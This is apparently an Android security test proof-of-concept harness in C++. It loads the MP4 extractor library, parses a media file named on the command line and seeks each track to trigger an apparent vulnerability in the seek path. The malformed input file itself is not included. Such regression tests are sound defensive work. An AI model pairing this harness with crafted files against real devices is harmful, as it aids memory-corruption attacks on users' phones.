/**
 * Copyright (C) 2020 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#include "../includes/common.h"
#include <stdlib.h>

// This PoC is only for 64-bit builds
#if _64_BIT
#include <android/IMediaExtractor.h>
#include <datasource/FileSource.h>
#include <dlfcn.h>
#include <media/DataSource.h>
#include <media/MediaTrack.h>
#include <media/stagefright/MediaExtractor.h>
#include <media/stagefright/MetaData.h>
#define LIBNAME "/system/lib64/extractors/libmp4extractor.so"
#define LIBNAME_APEX                                                           \
  "/apex/com.android.media/lib64/extractors/libmp4extractor.so"
#define CONVERSION_FACTOR_SEC_TO_MICROSEC 1000000

using namespace android;
#endif /* _64_BIT */

int main(int argc, char **argv) {
  (void)argc;
  (void)argv;

// This PoC is only for 64-bit builds
#if _64_BIT
  if (argc < 2) {
    return EXIT_FAILURE;
  }

  void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
  if (!libHandle) {
    libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
    if (!libHandle) {
      return EXIT_FAILURE;
    }
  }

  GetExtractorDef getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
  if (!getDef) {
    dlclose(libHandle);
    return EXIT_FAILURE;
  }

  sp<DataSource> dataSource = new FileSource(argv[1]);
  if (!dataSource) {
    dlclose(libHandle);
    return EXIT_FAILURE;
  }

  void *meta = nullptr;
  void *creator = nullptr;
  FreeMetaFunc freeMeta = nullptr;
  float confidence = 0.0f;
  if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
    creator = (void *)getDef().u.v2.sniff(dataSource->wrap(), &confidence,
                                          &meta, &freeMeta);
  } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
    creator = (void *)getDef().u.v3.sniff(dataSource->wrap(), &confidence,
                                          &meta, &freeMeta);
  }
  if (!creator) {
    dlclose(libHandle);
    return EXIT_FAILURE;
  }

  CMediaExtractor *mp4Extractor =
      ((CreatorFunc)creator)(dataSource->wrap(), meta);
  if (!mp4Extractor) {
    dlclose(libHandle);
    return EXIT_FAILURE;
  }

  if (meta != nullptr && freeMeta != nullptr) {
    freeMeta(meta);
  }

  MediaExtractorCUnwrapper *mediaExtractorCUnwrapper =
      new MediaExtractorCUnwrapper(mp4Extractor);
  if (!mediaExtractorCUnwrapper) {
    dlclose(libHandle);
    return EXIT_FAILURE;
  }

  // seek to 10 seconds in the mp4 file
  int64_t seekTimeUs = 10 * CONVERSION_FACTOR_SEC_TO_MICROSEC;
  size_t numTracks = mediaExtractorCUnwrapper->countTracks();
  for (size_t i = 0; i < numTracks; ++i) {
    MetaDataBase metaData;
    MediaTrack *mediaTrack = mediaExtractorCUnwrapper->getTrack(i);
    mediaExtractorCUnwrapper->getTrackMetaData(
        metaData, i, MediaExtractor::kIncludeExtensiveMetaData);
    MediaTrack::ReadOptions options;
    if (seekTimeUs >= 0) {
      options.setSeekTo(seekTimeUs,
                        MediaTrack::ReadOptions::SEEK_PREVIOUS_SYNC);
    }
    if (mediaTrack) {
      MediaBufferBase *mbuf = nullptr;
      mediaTrack->start();
      mediaTrack->read(&mbuf, &options);
    }
  }
#endif /* _64_BIT */
  return EXIT_SUCCESS;
}